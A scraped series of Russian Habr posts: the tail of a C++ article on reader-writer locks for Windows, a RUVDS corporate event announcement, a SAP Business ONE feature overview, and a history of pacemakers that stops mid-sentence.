hGetProcIDDLL; SRWLock_fptr AcquireSRWLockShared_func; SRWLock_fptr ReleaseSRWLockShared_func; SRWLock_fptr AcquireSRWLockExclusive_func; SRWLock_fptr ReleaseSRWLockExclusive_func; RTL_SRWLOCK srwLock; }; Выглядит кучерявей, зато стало портабельно. Осталось сделать враппер автоматически выбирающий нужный вариант в зависимости от версии Windows: class RWLock // Wrapper { public: RWLock() : rwLockXP(NULL), rwLockSRW(NULL), isVistaPlus(IsWindowsVistaOrGreater()) { if (isVistaPlus) { rwLockSRW = new RWLockSRW(); } else { rwLockXP = new RWLockXP(); } } ~RWLock() { if (isVistaPlus) { delete rwLockSRW; } else { delete rwLockXP; } } void readLock() { if (isVistaPlus) { rwLockSRW->readLock(); } else { rwLockXP->readLock(); } } void readUnLock() { if (isVistaPlus) { rwLockSRW->readUnLock(); } else { rwLockXP->readUnLock(); } } void writeLock() { if (isVistaPlus) { rwLockSRW->writeLock(); } else { rwLockXP->writeLock(); } } void writeUnLock() { if (isVistaPlus) { rwLockSRW->writeUnLock(); } else { rwLockXP->writeUnLock(); } } private: RWLockXP *rwLockXP; RWLockSRW *rwLockSRW; bool isVistaPlus; }; И в завершении автолокер: class ScopedRWLock { public: ScopedRWLock(RWLock *lc_, bool write_ = false) : lc(*lc_), write(write_) { if (write) { lc.writeLock(); } else { lc.readLock(); } } ~ScopedRWLock() { if (write) { lc.writeUnLock(); } else { lc.readUnLock(); } } private: RWLock &lc; bool write; // Non copyable! static void *operator new(size_t); static void operator delete(void *); ScopedRWLock(const ScopedRWLock&); void operator=(const ScopedRWLock&); }; Реализация с использованием pthread ничем не отличается от первой версии SRWLock за исключением других имен вызываемых функций. UPD: Тут подсказали что есть прекрасные недокументированные функции (присутствуют аж с Windows 2000 и существуют до сих пор (на 31.01.2017 в Windows 10 они никуда не делись)), работают они лучше чем костыли из события и мьютексов. Привожу вариант с их использованием (рекомендую использовать именно его): typedef struct _RTL_RWLOCK { RTL_CRITICAL_SECTION rtlCS; HANDLE hSharedReleaseSemaphore; UINT uSharedWaiters; HANDLE hExclusiveReleaseSemaphore; UINT uExclusiveWaiters; INT iNumberActive; HANDLE hOwningThreadId; DWORD dwTimeoutBoost; PVOID pDebugInfo; } RTL_RWLOCK, *LPRTL_RWLOCK; typedef void(__stdcall *RtlManagePtr)(LPRTL_RWLOCK); typedef BYTE(__stdcall *RtlOperatePtr)(LPRTL_RWLOCK, BYTE); class RWLockXP // Implementation for Windows XP { public: RWLockXP() : hGetProcIDDLL(NULL), RtlDeleteResource_func(NULL), RtlReleaseResource_func(NULL), RtlAcquireResourceExclusive_func(NULL), RtlAcquireResourceShared_func(NULL), rtlRWLock() { wchar_t path[MAX_PATH] = { 0 }; GetSystemDirectory(path, sizeof(path)); std::wstring dllPath = std::wstring(path) + L"\\ntdll.dll"; HINSTANCE hGetProcIDDLL = LoadLibrary(dllPath.c_str()); if (hGetProcIDDLL) { RtlDeleteResource_func = (RtlManagePtr)GetProcAddress(hGetProcIDDLL, "RtlDeleteResource"); if (!RtlDeleteResource_func) { return; } RtlReleaseResource_func = (RtlManagePtr)GetProcAddress(hGetProcIDDLL, "RtlReleaseResource"); if (!RtlReleaseResource_func) { return; } RtlAcquireResourceExclusive_func = (RtlOperatePtr)GetProcAddress(hGetProcIDDLL, "RtlAcquireResourceExclusive"); if (!RtlAcquireResourceExclusive_func) { return; } RtlAcquireResourceShared_func = (RtlOperatePtr)GetProcAddress(hGetProcIDDLL, "RtlAcquireResourceShared"); if (!RtlAcquireResourceShared_func) { return; } RtlManagePtr RtlInitializeResource_func = (RtlManagePtr)GetProcAddress(hGetProcIDDLL, "RtlInitializeResource"); if (RtlInitializeResource_func) { RtlInitializeResource_func(&rtlRWLock); } } } ~RWLockXP() { if (RtlDeleteResource_func) { RtlDeleteResource_func(&rtlRWLock); } if (hGetProcIDDLL) { FreeLibrary(hGetProcIDDLL); } } void readLock() { if (RtlAcquireResourceShared_func) { RtlAcquireResourceShared_func(&rtlRWLock, TRUE); } } void readUnLock() { if (RtlReleaseResource_func) { RtlReleaseResource_func(&rtlRWLock); } } void writeLock() { if (RtlAcquireResourceExclusive_func) { RtlAcquireResourceExclusive_func(&rtlRWLock, TRUE); } } void writeUnLock() { if (RtlReleaseResource_func) { RtlReleaseResource_func(&rtlRWLock); } } private: HINSTANCE hGetProcIDDLL; RtlManagePtr RtlDeleteResource_func; RtlManagePtr RtlReleaseResource_func; RtlOperatePtr RtlAcquireResourceExclusive_func; RtlOperatePtr RtlAcquireResourceShared_func; RTL_RWLOCK rtlRWLock; };
https://habrahabr.ru/post/317958/
habrahabr
RUVDS представила Светлого и Темного Админа. На чьей стороне ты?
['RuVDS', 'тёмный админ', 'светлый админ', 'праздники', 'НГ', 'скоро пятница']
В минувшую пятницу 16 декабря команда RUVDS собрала друзей и партнеров проекта в довольно неожиданном месте — в цехе производства крафтового пива. Поводом для этого послужили сразу несколько...
В минувшую пятницу 16 декабря команда RUVDS собрала друзей и партнеров проекта в довольно неожиданном месте — в цехе производства крафтового пива. Поводом для этого послужили сразу несколько событий. Во-первых, RUVDS презентовала собственную дизайн-линейку под брендами «Темный Админ» и «Светлый Админ». Над дизайном работала вся команда дизайнеров и маркетологов RUVDS. Что из этого получилось и каким был второй повод рассказ под катом. «2016 год стал для нашего проекта первым и самым важным, поэтому хотелось особо отметить это событие»- Никита Цаплин, управляющий партнер RUVDS, «Мы выбрали пиво, немного отступая от традиционно принятых в это время года напитков. Как и ко всему, что мы делаем, старались подойти наиболее креативно- так появились бренды — линейки Светлый и Темный админ». RUVDS планирует запустить под этими брендами футболки и толстовки для сотрудников и друзей проекта, а также традиционные кружки не заставят себя долго ждать. Возвращаясь непосредственно к напиткам — компания заказала в подарок клиентам и партнерам 3 вкуса — классический портер «Темный админ», IPA с нотками манго «Светлый админ» и светлое нефильтрованное с кориандром «Зеленый админ». Многочисленные вопросы гостей, собирается ли компания идти по пути Тинькова — управляющий директор Артем Федосеев парировал тем, что данный проект исключительно некоммерческий и исключительно в интересах клиентов и друзей проекта. Вторым и, пожалуй, самым секретным поводом явилась закрытая презентация грядущего открытия второго дата-центра RUVDS, на этот раз гермозоны, в Швейцарских Альпах. Подробностей пока мало, известно лишь, что на этот раз TIER IV, вновь в бункере и цены будут российскими. Запуск новой гермозоны намечен на конец 2016 — начало 2017 года. Команда RUVDS поздравляет пользователей Хабра с наступающими праздниками Справка: Сервису RUVDS в ноябре 2016 года исполнился один год. За этот год компанию выбрало более 15000 человек, создано более 25000 виртуальных серверов. Был запущен в эксплуатацию собственный дата-центр в Москве. RUVDS также стала технологическим партнером международного IT-гиганта, компании Huawei, а клиентами сервиса стали крупнейшие компании, лидеры своих отраслей.
https://habrahabr.ru/company/ruvds/blog/317956/
habrahabr
Business ONE: ERP для малого бизнеса существует. И он тоже
['erp-системы', 'erp', 'sap', 'b1', 'автоматизация бизнеса', 'sap business one']
Привет, Хабр! Давно не было публикаций про ERP для среднего и малого бизнеса от компании SAP. Да и по другим темам тоже давно не было. Сегодня мы немного поговорим про решение SAP Business ONE. С...
Привет, Хабр! Давно не было публикаций про ERP для среднего и малого бизнеса от компании SAP. Да и по другим темам тоже давно не было. Сегодня мы немного поговорим про решение SAP Business ONE. С момента публикации о нем на Хабре прошло почти 6 лет. Давайте посмотрим, как развивался продукт в последние годы. А сделано было много, в том числе важное для России. Остановимся на крупных нововведениях этой ERP. Самое крупное – доступность SAP HANA для СМБ. И не просто «доступность», а обкатка SAP HANA на решении SAP Business ONE (платформа in-memory для SAP Business ONE появилась на несколько лет раньше, чем для других продуктов). Да еще и сразу для on-premise и cloud пользователей. SAP Business ONE (версия для SAP HANA) — это актуальная информация в режиме реального времени, использование единой платформы для сделок и анализа, расширение возможностей пользователей для поиска и интерактивных инструментов анализа, упрощенный IT-ландшафт. Возможности SAP HANA в плане вычислений и аналитики огромны, поэтому решению SAP Business ONE версия для SAP HANA будет посвящена отдельная статья. В версии SAP Business ONE 9.2 добавлена возможность доступа через браузер. Теперь сотрудники компании могут использовать рабочие станции на Linux и MacOS («толстый» клиент доступен только в версии для Windows), а также иметь доступ к актуальной информации в любое время и в любом месте – главное чтобы был под рукой интернет и браузер. На этом мы тоже подробнее остановимся отдельно, а сейчас к основам. В сегодняшней статье рассмотрим следующую функциональность: Филиалы, Работа с основными средствами, Производство, Договора, Складские места, Инвентаризация, Несколько единиц измерения, Проверка доступности товара в заказах, Заявка на закупку, Ассистент платежей, Журнал доступа и Панель управления. Функция Несколько филиалов ## Наконец-то функция нескольких филиалов добралась и до остальных локализаций. Раньше эта опция была доступна только для Бразилии. Функционал очень интересный и познавательный: он позволяет работать с разными филиалами/функциональными единицами в одной базе данных компании. Можно, конечно, работать в разных базах для разных филиалов и потом каким-то образом сводить отчетность по компании. Или использовать одну базу данных для компании и не видеть деятельность в разрезе структурных единиц или филиалов. И тот, и другой вариант не всегда приемлем (например, необходимо сдавать отчетность в субъекте присутствия филиала) и не отображает реальное положение дел филиалов компании. Активация этой функции позволяет: • Регистрировать различные основные данные в разных филиалах, при этом некоторые основные данные могут быть использованы филиалами совместно. • Регистрировать различные документы, созданные с собственными основными данными, на уровне разных филиалов. • Совместно использовать в разных филиалах общие данные и настройки, например, товары, настройки документов и пр. • Проводить операцию Закрытие периода для каждого филиала • Использовать филиалы как критерии выбора при создании отчетов Нескольким филиалам можно присвоить следующие основные данные: • Пользователи • Бизнес-партнеры Только одному филиалу можно присвоить следующие основные данные: • Склады • Сотрудники Следующие основные данные можно присвоить одному определенному филиалу или сделать их доступными для всех филиалов: • Счета ГК • Серии нумерации документов Основные средства Этого функционала ждали многие. Теперь SAP Business ONE умеет управлять основными средствами: планирование амортизации основных средств с помощью методов амортизации «Ускоренная амортизация», «Особая амортизация», «Поэтапная амортизация» и «Равномерное управление периодами»; расчет амортизации основных средств по месяцам; управление информацией по основным средствам в справочнике товаров и услуг; закупка и продажа основных средств; создание платежей со сконто для закупаемых основных средств. SAP Business ONE кредитует дисконтированную часть основных средств путем автоматического создания кредитового авизо оприходования; изменение класса основных средств через создание документа переноса; корректировка амортизации основного средства путем создания документа амортизации вручную; применение нескольких наборов счетов к каждому основному средству для одновременной проводки стоимости и движения основного средства в несколько областей бухгалтерского учета; выполнение переоценки основных средств; применение нескольких измерений к основным средствам в учете по ЦУ; прогнозирование амортизации; операция прогона амортизации; ведомость движений основных средств; просмотр статусов и подробных данных движения основных средств с помощью следующих двух новых отчетов: • отчет по статусу основных средств; • отчет по движению основных средств; импорт основных средств из файлов Microsoft Excel. Модули Сборка и Ресурсы ## SAP Business ONE включает в себя базовую платформу для легкого производства (точнее будет сказать сборку). На основе документов продаж или прогноза MRP можно создавать в автоматическом режиме Производственные заказы. Для создания производственного заказа с учетом документа Продаж можно использовать Ассистент подтверждения, который предоставляет пошаговые инструкции для всего процесса создания документа. Запустить мастер можно, установив флажок Документ закупки в документе Продаж, или непосредственно из модуля Производство в главном меню SAP Business ONE. Кроме того, в производственном заказе можно просмотреть, с каким документом Продаж связан документ. Модуль "Ресурсы" является расширением модуля "Сборка". В отличие от товаров, ресурсы имеют доступную мощность в течение некоторого периода, которую можно присвоить производственным заказам. Потребление ресурсов в производственном процессе увеличивает общие производственные затраты, которые можно разделить на базовые виды затрат для дальнейшего бухгалтерского учета. В модуле "Сборка" произошли следующие изменения: В Спецификации и Производственные заказы (помимо товаров), теперь можно включать ресурсы и текстовые строки. Также добавлен новый столбец счета НП, в котором можно присвоить счет НП по умолчанию каждому товару или ресурсу. Указанный здесь счет используется в деблокированных производственных заказах и отпусках в сборку. Новый столбец Дополнительное количество позволяет ввести потребление ресурсов и товаров, помимо потребления, определенного в Спецификации. В окне Спецификация можно изменить порядок строк с помощью стрелок вверх и вниз. Установленный порядок отражается и в производственных заказах. В спецификацию можно добавить пользовательские поля, которые будут отражены в производственных заказах. Управление компонентами для спецификации: эта функция позволяет массово обновлять спецификации. Можно добавить, удалить или изменить строки в пользовательских диапазонах спецификаций. Закладка Производственные данные добавлена в окне Справочник товаров и услуг для ввода информации о сборке. Метод "Обработка побочных продуктов — отпуск вручную" теперь поддерживается для компонентов побочных продуктов в производственных заказах и отражается в поступлении из сборки. Эта новая функция позволяет вручную обновлять себестоимость побочных продуктов. Рамочные договора ## Многие ли знают, что SAP Business ONE позволяет фиксировать рамочные договора для отражения долгосрочных соглашений на продажу или покупку, заключенные с бизнес-партнерами? Можно создавать рамочные договора двух типов: Общие рамочные договора: например, для получения специальной премии в конце года или по достижении определенного оборота транзакций с бизнес-партнером. Специальные рамочные договора: используются для получения специальной скидки для отдельной транзакции купли или продажи. Они используются также для определения графика поставки, например, заданием интервалов, через которые должны поставляться оговоренные объемы товаров. С рамочными договорами, которые используются как база для прогнозирования ожидаемой выручки, резервирования и планирования объемов, можно связать документы на продажу и покупку. Кроме того, рамочные договора учитываются при расчетах движения денежных средств и планировании потребности в материалах (MRP, ППМ). Складские места ## SAP Business ONE поддерживает управление складскими местами для складов (ячеистое хранение). Функцию складских мест можно активировать для отдельных складов. При поступлении, отпуске и перемещении SAP Business ONE позволяет автоматизировать процесс присвоения товаров складским местам. Присвоение также можно выполнить вручную. Функции, доступные при активации складских мест: просмотр информации по товарам на складе, такой как количество товара и число товаров; ограничение назначения складских мест, например, отдельной партией, товаром или группой товаров; ограничение использования складских мест, например, только для поступления или отпуска материала; пополнение запасов складских мест, когда уровень запасов опускается ниже определенного минимума поддержка групповой генерации, обновления и удаления складских мест с целью упрощения процесса управления складскими местами управление серийными номерами и партиями на складских местах. При присвоении серийных номеров и партий из складских мест можно выбрать комплектование товаров по складским местам или данным серийных номеров и партий. Кроме того, информацию по складским местам можно просмотреть в отчетах по операциям с серийными номерами и партиями. Инвентаризация ## SAP Business ONE предоставляет новые функции для выполнения процесса полной инвентаризации. Она начинается с предупреждений о периодической инвентаризации и включает структурированные задачи и инновационные отчеты. Основные расширения: документы для записи и контроля инвентаризации и проводки запаса; заморозка товаров на время инвентаризации; запись результатов инвентаризации и отклонения двумя инвентаризаторами; дополнение функции периодической инвентаризации возможностью продолжения процесса инвентаризации из предупреждений о периодической инвентаризации и рекомендаций; инвентаризация точных серийных номеров и партий; поддержка инвентаризации для складских мест; отчеты по инвентаризации для консолидации и анализа существующих документов инвентаризации и проводки запаса; отчет инструментальной панели рекомендаций по инвентаризации; документы для записи и контроля входящих сальдо запасов; инвентаризация по единице измерения. Несколько единиц измерения (ЕИ)**** SAP Business ONE предоставляет возможность управления продуктами с несколькими единицами измерения (ЕИ). Использование нескольких ЕИ позволяет продавать, закупать, принимать и отгружать продукты в любой необходимой ЕИ и определять ЕИ по умолчанию по типам операций. Все торговые документы, документы закупки и запасов поддерживают товары с несколькими определенными ЕИ. Эта функция включает следующие возможности: использование общих и специфичных для продукта ЕИ без ограничения; настройка групп ЕИ с правилами преобразования из базовых ЕИ в альтернативные по группам; использование этих групп ЕИ в справочнике товаров и услуг, маркетинговых документах и документах запасов; ЕИ продаж, закупок и запасов по умолчанию и автоматическое преобразование в другие применимые ЕИ при обработке операции; соответствующее расширение функций упаковки, кода EAN и расчета цены: параметры настройки упаковки для нескольких ЕИ включены в справочник товаров и услуг и используются в торговых документах для определения рекомендованного числа упаковок; для товара с несколькими ЕИ можно определить несколько кодов EAN и разные цены по каждой ЕИ. Доступность товара в заказах**** Функция ATP позволяет реагировать на запросы заказчиков с учетом анализа всех открытых заказов клиентов, заказов на закупку и производственных заказов. Проверку доступного количества требуемых товаров можно запустить из складского отчета. В ходе проверки доступности товара в заказах создается также базовый отчет ATP, в который включаются дополнительные сведения. Проверка доступности товара позволяет узнать: • Доступен ли определенный товар • Есть ли определенный товар на конкретном складе • Доступно ли определенное количество товара • Доступен ли определенный товар для отгрузки на дату комплектования Кроме того, можно проверить: • Доступное количество товара на запрошенную дату отгрузки • Самую раннюю дату отгрузки для полного количества по заказу клиента • Базовый отчет по доступному количеству, предоставляющий дополнительную информацию о доступности товара. Например, свободные запасы и поступления, доступные для удовлетворения потенциальных заказов. Заявка на закупку**** В SAP Business ONE можно вести внутренние процессы закупки. Пользователь или сотрудник может создать документ заявки на товары или услуги и скопировать его в предложение поставщика или заказ на закупку (или это может сделать менеджер закупок, собрав заявки со всех сотрудников/пользователей). Если нужно создать несколько документов, можно использовать ассистент генерации предложения поставщику для группового создания предложений поставщику на основе товаров или заявок. Кроме того, доступен отчет по заявкам, предоставляющий обзор различных заявок, созданных в компании. Ассистент платежей ## Ассистент платежей – это инструмент, который позволяет создавать партии исходящих и входящих платежей для банковских переводов и чеков. Ассистент был существенно доработан и его использование стало проще, а его возможности расширились благодаря добавлению новых функций и расширению критериев выбора документов на оплату. Итогом работы Ассистента платежей могут быть: сохранение сценария сохранение сценария и рекомендаций создание заявок на платеж (в т.ч. генерация электронного банковского файла) создание заявки на платеж и документов платежей Ассистент платежей формирует Отчет по рекомендациям. Используя настройку формы и отобразив столбцы с необходимой информацией, можно выбрать платежи для нашего прогона: Здесь же можем добавить Строки платежей вручную. По результатам можем распечатать Платежные поручения и Отчеты по результатам прогона: Журнал доступа**** С версии 8.81 SAP Business ONE получил функционал Журнал доступа. В этом Журнале содержаться сведения о доступе пользователей. Таким образом, системные администраторы или системные аудиторы могут в любое время проверить свойства пользователей, уровни доступа к данным и убедиться, что система обеспечивает адекватный уровень безопасности. Панель управления**** Пульт управления предоставляет собой персонализированое рабочее место пользователя SAP Business ONE. С помощью него можно легко просматривать, искать, систематизировать и выполнять текущие рабочие задачи и связанные с ними действия. По умолчанию в SAP Business ONE предустановлено 5 вариантов Пульта управления: Главная страница Финансы Продажи Закупки Услуги Кроме того, для построения собственного Пульта управления можно использовать предустановленные виджеты: Информационные панели Общие функции Открытые документы Сообщения и предупреждения Браузер На этом краткий обзор нововведений в SAP Business ONE завершен. Комментируйте, делитесь впечатлением, задавайте вопросы. В следующей статье подробно рассмотрим особенности SAP Business ONE версия для SAP HANA. Всем спасибо за внимание!
https://habrahabr.ru/company/sap/blog/317962/
habrahabr
История имплантируемой техники. Кардиостимулятор
['имплантируемая техника', 'имплантаты', 'кардиостимулятор']
Научно-фантастическая литература уже более полувека рассказывает нам о людях будущего – людях-киборгах. Можно сказать, что будущее уже наступило – в 2016 году киборги ходят среди нас и живут...
Научно-фантастическая литература уже более полувека рассказывает нам о людях будущего – людях-киборгах. Можно сказать, что будущее уже наступило – в 2016 году киборги ходят среди нас и живут размеренной жизнью. Они – обычные люди, но с кардиостимуляторами, слуховыми имплантатами протезами конечностей и биосенсорами. Сегодня мы поговорим об истории создания кардиостимуляторов, от громоздкого аппарата Лидвилла до современных миниатюрных имплантатов. Изобретение первого кардиостимулятора – Марк Лидвилл Впервые метод кардиостимуляции применил врач-анестезиолог Марк Лидвилл (Mark Lidwill). На заседании Австралийско-азиатского конгресса в 1929 году в Австралии он описал электрический аппарат, который приводит в действие человеческое сердце. Этот прибор наносил электрические разряды различной мощности и частоты; монополярный электрод вводился прямо в сердце, а другой, индифферентный, прикладывался непосредственно к коже после смачивания в физрастворе. Врач рассказал всем присутствующим, что используя более примитивную модель этого оборудования в 1925 и 1926 годах, он пытался оживить мертворожденных младенцев. Один из них действительно ожил и был полностью здоров. Он отметил, что этот ребенок не реагировал на другие виды лечения вроде инъекции адреналина, которые были в ходу в те дни. Тогда Лидвилл вставил иглу электрода сначала в правое предсердие, а затем, когда предсердная стимуляция не удалась, – в правый желудочек. Десятиминутная кардиостимуляция дала свой эффект, и когда Лидвилл отключил кардиостимулятор, сердце заработал само. Этот пациент доктора Лидвилла считается первым человеком, который успешно пережил кардиостимуляцию, а аппарат Лидвилла – первым искусственным кардиостимулятором. Согласно плану доктора, машина предназначалась для экстренных случаев, когда у пациента под общим наркозом во время операции останавливалось сердце. Позднее создатель первого в мире электрокардиостимулятора признался, что аппарат работает с переменным успехом, но одна спасенная жизнь из пятидесяти или ста – большой прогресс, когда нет надежды спасти всех. Тем не менее, работа Лидвилла тогда осталась без внимания и не привела к прорыву в кардиологии. 1930-е: Искусственный кардиостимулятор Альберта Хаймана Во время внутрисердечной терапии при остановке сердца Альберт Хайман (Albert Hyman) из нью-йоркской больницы Бет Дэвид заметил, что успех этой процедуры зависит не от применяемого лекарства, а обуславливается уколом иглы, вводимой в сердце. Он пришел к выводу, что при остановке сердца его электродинамический баланс может быть нарушен одним уколом, что может привести к инфаркту миокарда. Несколько уколов могли поправить положение, но это слишком опасно. Поскольку механические стимулы действовали за счет изменения электрического потенциала, Хайман пришел к мысли о прямой стимуляции миокарда электрическими импульсами, проходящими через игольчатые электроды, с повторной стимуляцией без какого-либо риска. Тогда Хайман создал в 1932 году кардиостимулятор с инновационной для того времени конструкцией. Он состоял из магнитоэлектрического генератора, который требовался для получения постоянного тока, запитывающего электроды. Два больших U-образных магнита подавали необходимый магнитный поток, чтобы индуцировать ток в генераторе. Прерывающий диск был использован для контроля длительности электрического импульса, подаваемого на электроды. Такой портативный аппарат весил 7,2 килограмма. Современные исследователи, которые экспериментировали с кардиостимулятором Хаймана пришли к выводу, что он неэффективен из-за низкого выходного напряжения генерируемых импульсов, и сам Хайман признавал недостатки своего кардиостимулятора. После 1945: Кардиостимулятор Джона Хоппса Спустя несколько лет после Второй мировой войны интерес к искусственным кардиостимуляторам в кардиологической практике был реанимирован благодаря усилиям Каллагана, Бигелоу и Хоппса из Торонтского в Канаде. В ходе своих исследований общей гипотермии они заметили, что при переохлаждении организма велика вероятность остановки сердца. Контроль сердечного ритма имеет решающее значение для выживания в период согревания, когда ускоряется метаболизм в тканях организма, и для этих целей инженер Джон Хоппс (John Hopps) из Национального научно-исследовательского совета Канады создал искусственный кардиостимулятор, который может производить импульсы нужного ритма через электроды после проведения торакотомии . Аппарат успешно прошел испытания на четырех собаках, которые пострадали от остановки сердца из-за переохлаждения. После успешных испытаний Хоппс понял, что такой кардиостимулятор можно использовать одинаково эффективно для контроля пульса при нормальной температуре тела. Устройство успешно контролировало частоту сердечных сокращений у животных при нормальной температуре, но потерпело неудачу при тестах на людях. У пациентов внезапно ухудшилось самочувствие из-за нарушения проведения электрического импульса из предсердий в желудочки после инфаркта миокарда. Вероятнее всего, причина провала кроется в том, что кардиостимулятор был однокамерным: стимулировались только предсердия, а не желудочки. Кардиостимулятор Золла и первое клиническое применение Первое клиническое применение электрокардиостимулятора произошло в 1952 году. Это случилось во время приема 75-летнего мужчины, когда тот поступил в больницу Бет-Изрейел. После двух обмороков, вызванных резким снижением сердечного выброса и ишемией мозга из-за нарушения сердечного ритма, он страдал из-за блокады сердца уже два года. В больнице его состояние ухудшалось – он продолжал испытывать приступы желудочковой асистолии , несмотря на 34 внутрисердечные инъекции адреналина в течение 4 часов. Доктор Пол Морис Зол (Paul M. Zoll), лечащий врач, применил внешнюю электростимуляцию к своему пациенту и успешно стимулировал работу его сердца в течение следующих 25 минут. К сожалению, у пациента из-за множественных внутрисердечных инъекций развилась тампонада сердца и реанимация не помогла. Впоследствии Золлу удалось успешно наладить сердечный ритм другого 65-летнего мужчины с похожими приступами асистолии желудочков благодаря пятидневной процедуре внешней электростимуляции. В конце пятого дня терапии пациент достиг ускоренного идиовентрикулярного ритма в 44 удара в минуту, и его выписали. В своей работе, опубликованной в 1952 году, Золл описал сердечную реанимацию с помощью электродов на голой груди с импульсами 2 мс при напряжении в диапазоне 100-150 вольт на груди до 60 ударов в минуту. Это первоначальное клиническое описание послужило толчком для всесторонней оценки кардиостимуляции. Медики и общественность признали тот факт, что победить болезни сердца можно с помощью электрокардиостимуляции. Работа Золла послужила основой для будущих исследований и разработок. Середина 1950-х: метод Лиллехая В середине 50-х, когда врачи впервые начали проводить операции на открытом сердце, послеоперационная блокада сердца оказалась особенно серьезной проблемой для кардиохирургов. Внешнюю электрическую стимуляцию нельзя было использовать для пациентов с этим недугом, поскольку нужна непрерывная стимуляция в течение долгого времени. Кардиохирург Кларенс Уолтон Лиллехай (Clarence Walton Lillehei) и его коллеги, работающие в медицинской школе Миннесотского университета, начали разрабатывать более совершенную систему. Им помогали инженеры из компании Medtronic , которая впоследствии стала одной из известнейших компаний в мире в области создания технологий кардиостимуляции. К 1957 году исследователи обнаружили, что сочетанием генератора импульсов с проводами электродов, прикрепленных непосредственно к сердцу собаки, можно контролировать частоту сердечных сокращений. Так Лиллехай и его команда представили первый в мире транзисторный электрокардиостимулятор. 30 января 1957 года Лиллехай использовал эту технику, чтобы восстановить ритм сердца ребенка с блокадой сердца. Он перенес операцию по устранению дефекта межжелудочковой перегородки. Сердце было активировано с помощью импульсов длительностью 2 мс при напряжении от 1,5 до 4,5 вольт, что значительно меньше, чем в описанных Золлом экспериментах. При этом метод оказался эффективным и хорошо переносился пациентами. 1958: Оке Сеннинг и Руне Элмквист – рождение имплантируемых кардиостимуляторов Метод кардиостимуляции, разработанный Лиллехаем, не мог поддерживаться долго из-за риска инфекции, вызывал дискомфорт при ношении кардиостимулятора и спустя несколько месяцев становился неэффективным. Единственный способ предотвратить заражение – вывести провода из организма через кожные надрезы – стал толчком к развитию имплантируемых кардиостимуляторов. Первые попытки предприняли хирург Оке Сеннинг (Ake Senning) и инженер Руне Элмквист (Rune Elmqvist) в Каролинской университетской больнице в Швеции. Первый электрокардиостимулятор имплантировали 8 октября 1958 года 43-летнему Арне Ларссону (Arne Larsson) с полной блокадой сердца и синдромом Морганьи-Адамса-Стокса. Операция прошла успешно, но через три часа после имплантации кардиостимулятор сломался. Аналогичный блок имплантировали на следующий день, но это не сработало. Наконец, было принято решение отказаться от электрокардиостимуляции для этого пациента, пока не будут разработаны более успешные аналоги. К счастью, приступы Морганьи-Адамса-Стокса больше не беспокоили пациента в течение следующих трех лет, пока он не получил второй имплантат. В конце концов он перенес 24 хирургических вмешательства и прожил до 2001 года, когда он умер в возрасте 86 лет от неродственной злокачественной опухоли. Эти попытки создать имплантируемый кардиостимулятор сыграли значительную роль в создании устройств в промышленных масштабах по разумной цене. Разработки в этой области хорошо финансировались. Первое производство кардиостимуляторов началось в 1970. 1970: апгрейд имплантируемых кардиостимуляторов В самом начале 70-х производители прочно задумались об использовании ядерной энергии для питания кардиостимуляторов. В устройствах использовалась энергия распада плутония-238, которая преобразовывалась в электрическую энергию. Несмотря на свой поистине длительный срок службы от 10 до 20 лет и 99% надежность, воздействие радиации перекрывало все преимущества. Ученые не рекомендовали применять ядерную энергию для питания кардиостимуляторов, и в конечном счете такие устройства не получили широкого признания. В период взрывного роста технологических инноваций 1973-1980 гг кардиостимуляторы, которые производили в 1970 году, быстро устарели. Производители сосредоточили свой интерес на улучшении источника питания, используемого в электрокардиостимуляторах. Блок питания имеет важное значение, поскольку он определяет долговечность и надежность в сочетании с типом батареи, которая будет использоваться в дальнейшем, вес и объем кардиостимулятора. После нескольких неудачных экспериментов с никель-кадмиевыми и ртутно-цинковыми батареями литиевая батарея была принята в качестве относительно долговечного источника питания. Помимо обеспечения длительности срока службы кардиостимулятора, литий-ионные батареи позволили загерметизировать импульсные генераторы. Этот источник питания развивался в течение последующих лет в качестве предпочтительного альтернативного аккумулятора для имплантируемых кардиостимуляторов. Программируемые и интегральные схемы Первые попытки в направлении программируемости, то есть модификации имплантированного стимулятора работать неинвазивно были сделаны еще в 1931 году. The General Electric Company изготовила кардиостимулятор, скорость импульса которого изменял бистабильный магнитный переключатель. Пациент мог выбирать между скоростью 70 ударов в минуту в состоянии покоя или 100 ударов в минуту во время физической активности, изменяя переключатель внешним магнитом. После этого попытки программирования электрокардиостимулятора не предпринимались вплоть до 1972 года, когда Medtronic представила программируемое устройство с зубчатыми колесами, прикрепленными к малым стержневым магнитам внутри имплантируемого генератора импульсов. В 1973 году компания представила еще один кардиостимулятор, где скорость можно менять путем радиочастотных сигналов, передаваемых через программатор. Вскоре после этого программируемость стала неотъемлемым свойством имплантируемых кардиостимуляторов. Кроме того, гибридная схема использует меньше энергии от батареи, потому что использует ее только при выполнении действий, таких как открытие или закрытие переключателя. Гибридная схема также позволила производителям уменьшить свои генераторы и обеспечить надежность и долговечность кардиостимуляторов. 1980-е: двухкамерные кардиостимуляторы К этому времени почти все полагались на кардиостимуляторы гибридных интегральных схем и литиевых батарей, которые будут надежно управлять сердцебиением, по крайней мере, 8 лет. Начиная с 1983 года некоторые производители кардиостимуляторов в США начали конкурировать на новой технологической арене двухкамерной кардиостимуляции. В отличие от однокамерных кардиостимуляторов, двухкамерные стимулируют одновременно две зоны: желудочки и предсердия. Производители и врачи утверждали, что двухкамерные кардиостимуляторы обеспечивают более эффективную координацию между сокращениями предсердий и желудочков и более тесную эмуляцию с природным сердцебиением и дает заметный физиологический эффект. Несмотря на все преимущества, врачам было трудно разобраться в новых устройствах и привыкнуть к новым показателям: частоте пульса, амплитуде и длительности. Двухкамерные кардиостимуляторы были дороже однокамерных, которым в 1989 году еще принадлежало 75% рынка кардиостимуляторов в США. 1990-е: бум имплантации кардиостимуляторов Точное число операций по имплантации кардиостимуляторов в этом десятилетии назвать сложно: в одном только 1997 году диапазон варьируется от 192 тысяч до 317 тысяч имплантаций. Буйный рост объясняется несколькими причинами. Во-первых, в период между 1990-1999 гг выросло число пожилых людей с высоким риском сердечной аритмии. Во-вторых, кардиологи научились быстро и точно определять первые симптомы брадикардии и ЭКГ и могли вовремя назначить операцию. И, наконец, новый инвазивный метод радиочастотной катетерной аблации незначительно увеличил количество имплантаций. В этот период врачи уже однозначно воспринимали электрокардиостимулятор как необходимое устройство для лечения болезней сердца. Настоящее время Сегодня кардиостимулятор представляет собой сложный электронный прибор, который состоит из трех основных компонентов: титановой оболочки, электронной схемы и литий-ионного аккумулятора, который прослужит от 5 до 10 лет. Современные технологии позволяют создавать электрокардиостимуляторы размером с мужские наручные часы. Имплантация кардиостимулятора происходит в несколько этапов. Сначала кардиохирург делает разрез и 